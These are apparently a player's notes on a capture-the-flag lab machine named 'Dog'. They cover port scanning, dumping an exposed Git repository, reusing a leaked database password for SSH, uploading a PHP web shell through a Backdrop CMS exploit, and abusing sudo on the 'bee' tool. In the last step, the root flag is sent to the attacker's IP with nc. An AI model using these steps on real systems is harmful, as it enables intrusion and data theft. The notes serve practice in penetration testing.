1. NMAP
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
| 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.129.231.223:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Port 80
Git repo found /usr/bin/python /home/dani/Documents/Machines/Dog/git-dumper/git_dumper.py http://10.129.231.223 ~/Documents/Machines/Dog/gitdown
on the files downloaded:
'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop'
there is a tiffany@dog.htb
works with previous password
BAckdrop cms exploits searchsploit backdrop found 52021
the website only accepts tar
so tar -cvf shell/tar shell/
http://10.129.231.223/modules/shell/shell.php
johncusack and jrobert found BackDropJ2024DS2024 works on johncusack
3. ssh
johncusack: BackDropJ2024DS2024
sudo -l - > sudo on bee binary (backdrop cms??)
I can php scripts as root
On my pc : nc -l -p 4444 -q 1 > root.txt </dev/null
On server: sudo /usr/local/bin/bee --root=/var/www/html eval 'exec("cat /root/root.txt | nc 10.10.14.71 4444");'